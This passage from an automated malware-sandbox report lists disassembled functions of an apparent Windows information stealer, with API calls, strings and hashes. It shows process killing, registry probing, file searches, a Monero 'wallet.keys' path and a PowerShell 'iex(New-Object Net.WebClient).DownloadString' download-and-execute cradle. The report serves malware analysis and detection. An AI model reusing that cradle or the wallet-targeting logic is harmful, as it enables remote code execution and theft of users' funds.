RegQueryValueExA.ADVAPI32(00000000,0130E5B8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00BC0B3C), ref: 00BB8729
RegCloseKey.ADVAPI32(00000000), ref: 00BB8798
RegCloseKey.ADVAPI32(00000000), ref: 00BB87AA

Strings

%s\%s, xrefs: 00BB85DD

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e2fc5b5638b53dc757c9dd0231f916b8343f3fbc3e42f0377a0876e40dfacfcd
Instruction ID: 8607db4aee36fe92f497a1646111cfa39b79380f45004cda8f00de5e01003fcd
Opcode Fuzzy Hash: e2fc5b5638b53dc757c9dd0231f916b8343f3fbc3e42f0377a0876e40dfacfcd
Instruction Fuzzy Hash: 46210771A10218AFDB24DB54DC85FE9B7B8FB48704F0081D8A649A6180DF706A85CFA4

Function 00BB99A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BB99C5
Process32First.KERNEL32(00BAA056,00000128), ref: 00BB99D9
Process32Next.KERNEL32(00BAA056,00000128), ref: 00BB99F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BB9A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00BB9A6C
CloseHandle.KERNEL32(00000000), ref: 00BB9A79
CloseHandle.KERNEL32(00BAA056), ref: 00BB9A88

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: f331e9113f62d4acda803170f9901e61453fe72d86323506e25b0f40e25b9e3a
Instruction ID: 65070f82528503cdf62188c3fa8d4e3aa93fe864a6934e83d28e7b7f75624188
Opcode Fuzzy Hash: f331e9113f62d4acda803170f9901e61453fe72d86323506e25b0f40e25b9e3a
Instruction Fuzzy Hash: 7021CD759042189FDB25DF52DC89BEDB7B9BB48704F5041C8E609A6290D7749EC4CF50

Function 00BB7820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB7834
RtlAllocateHeap.NTDLL(00000000), ref: 00BB783B
RegOpenKeyExA.ADVAPI32(80000002,012FC808,00000000,00020119,00000000), ref: 00BB786D
RegQueryValueExA.ADVAPI32(00000000,0130E480,00000000,00000000,?,000000FF), ref: 00BB788E
RegCloseKey.ADVAPI32(00000000), ref: 00BB7898

Strings

Windows 11, xrefs: 00BB784D

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 082cd4ac12500dff55cac737d84bf3b972f386cacfeba102f1179edfe8de3af1
Instruction ID: 376204cc1f2717201b720b11aa8b7966b13c4b015029c7701f46959b14afc4a4
Opcode Fuzzy Hash: 082cd4ac12500dff55cac737d84bf3b972f386cacfeba102f1179edfe8de3af1
Instruction Fuzzy Hash: 0901F4B5A48305BFE700DBE6DD49FAD77B8EB44700F104198FA59A7291DAB09944CB50

Function 00BB78B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB78C4
RtlAllocateHeap.NTDLL(00000000), ref: 00BB78CB
RegOpenKeyExA.ADVAPI32(80000002,012FC808,00000000,00020119,00BB7849), ref: 00BB78EB
RegQueryValueExA.ADVAPI32(00BB7849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00BB790A
RegCloseKey.ADVAPI32(00BB7849), ref: 00BB7914

Strings

CurrentBuildNumber, xrefs: 00BB7901

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 27a24157e9b1a49777ea7141d87b10c86e67b36933abb849215a53abf2af7589
Instruction ID: 889f707eb94ed42b9315f7617b2233cc419a1eb8b7f66f834454bda12a644422
Opcode Fuzzy Hash: 27a24157e9b1a49777ea7141d87b10c86e67b36933abb849215a53abf2af7589
Instruction Fuzzy Hash: FE0167B5A44309BFEB00DBE5DC4AFAE77B8EB44700F004598F659B7291D7705A44CB90

Function 00BAA110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BAA13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BAA161
LocalAlloc.KERNEL32(00000040,?), ref: 00BAA181
ReadFile.KERNEL32(000000FF,?,00000000,00BA148F,00000000), ref: 00BAA1AA
LocalFree.KERNEL32(00BA148F), ref: 00BAA1E0
CloseHandle.KERNEL32(000000FF), ref: 00BAA1EA

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 885db3e8385fbe3312d46d9b4186d931538fa08cfa63c6d91e4df8ac03828628
Instruction ID: 9d86449c0e0969220ed1d9c40fd96c3f586e6e594914a30fda028b4a46f6cce2
Opcode Fuzzy Hash: 885db3e8385fbe3312d46d9b4186d931538fa08cfa63c6d91e4df8ac03828628
Instruction Fuzzy Hash: 1731FC74A04209EFDB14CF95D885BEEB7B5EB49300F108198E915B7290D774AA85CFA1

Function 00BB49D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0130E840), ref: 00BB4A2B

Part of subcall function 00BB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00BB4A51
lstrcat.KERNEL32(?,?), ref: 00BB4A70
lstrcat.KERNEL32(?,?), ref: 00BB4A84
lstrcat.KERNEL32(?,012FBA20), ref: 00BB4A97
lstrcat.KERNEL32(?,?), ref: 00BB4AAB
lstrcat.KERNEL32(?,0130E278), ref: 00BB4ABF

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BB8F20: GetFileAttributesA.KERNEL32(00000000,?,00BA1B94,?,?,00BC577C,?,?,00BC0E22), ref: 00BB8F2F

Part of subcall function 00BB47C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BB47D0
Part of subcall function 00BB47C0: RtlAllocateHeap.NTDLL(00000000), ref: 00BB47D7
Part of subcall function 00BB47C0: wsprintfA.USER32 ref: 00BB47F6
Part of subcall function 00BB47C0: FindFirstFileA.KERNEL32(?,?), ref: 00BB480D

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: bb15b2b1947d53185702474698d414e38fc387ee44796a4d2d3b669adbf7d2f0
Instruction ID: 831debb983a3532a184b7ebe7a2331927b0ea80b47d3b479e0e9c5d8892fb7a9
Opcode Fuzzy Hash: bb15b2b1947d53185702474698d414e38fc387ee44796a4d2d3b669adbf7d2f0
Instruction Fuzzy Hash: 2C3152F69002086BCF24EBB0DC85EED777CAB58700F4049D9B359A6052DEB096CDCB94

Function 00BB2EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

ShellExecuteEx.SHELL32(0000003C), ref: 00BB2FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00BB2F14
<, xrefs: 00BB2F89
')", xrefs: 00BB2F03
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00BB2F54

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 9a2cdbdb6a0156c4406ae2e1acd31e7138cecae313575d142631518217f29812
Instruction ID: b35056b44221f5116a487bd855acf4820086373c862b7c84e9691c3c2ccc1ed7
Opcode Fuzzy Hash: 9a2cdbdb6a0156c4406ae2e1acd31e7138cecae313575d142631518217f29812
Instruction Fuzzy Hash: 99418C71D10108ABDF14FBA0C8A2FFDBBB9AF14700F404599E11566192EFB56A49CF91

Function 00BB4300 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0130E038,00000000,00020119,?), ref: 00BB4344
RegQueryValueExA.ADVAPI32(?,0130E930,00000000,00000000,00000000,000000FF), ref: 00BB4368
RegCloseKey.ADVAPI32(?), ref: 00BB4372
lstrcat.KERNEL32(?,00000000), ref: 00BB4397
lstrcat.KERNEL32(?,0130E6C0), ref: 00BB43AB

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: f613565ad36b07f545fb24a74018dd7c7bd51d798c2c2d3750f16211d8461eee
Instruction ID: 6c7ffe08deaaacb711e655837fec0bc9942db6240c36c11d7840f57f427308ab
Opcode Fuzzy Hash: f613565ad36b07f545fb24a74018dd7c7bd51d798c2c2d3750f16211d8461eee
Instruction Fuzzy Hash: F44165B6D001086BDB24FBA0EC56FFE777CAB88700F404998B71956181EAB556CC8BE1

Function 00C1CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 00C1CC1F
dllmain_crt_dispatch.LIBCMT ref: 00C1CC36
dllmain_raw.LIBCMT ref: 00C1CC7E
dllmain_crt_dispatch.LIBCMT ref: 00C1CC91
dllmain_raw.LIBCMT ref: 00C1CCA4

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: 72618c3709308321d08471461110ff17b5c45e2a8a898622ce3f1bee9b18b4c2
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: 9E218172D80628ABDB219E59CCD19FF7A79EB83B90F054115F82967211C3308ED1BBE0

Function 00BB7F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB7FC7
RtlAllocateHeap.NTDLL(00000000), ref: 00BB7FCE
RegOpenKeyExA.ADVAPI32(80000002,012FC8B0,00000000,00020119,?), ref: 00BB7FEE
RegQueryValueExA.ADVAPI32(?,0130E2D8,00000000,00000000,000000FF,000000FF), ref: 00BB800F
RegCloseKey.ADVAPI32(?), ref: 00BB8022

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a3889a1388f86b5bf9fd8054140c604668bb238ef5bc06d5e7b79d13297e97c9
Instruction ID: 0a01c9c99554452281bc6b20f7f60e301598d928803fa3bc362242742f7b4983
Opcode Fuzzy Hash: a3889a1388f86b5bf9fd8054140c604668bb238ef5bc06d5e7b79d13297e97c9
Instruction Fuzzy Hash: 47118CB1A44205EFD700DB95DD85FBBBBBCEB04B10F104159F619A7290D7B55948CBA0

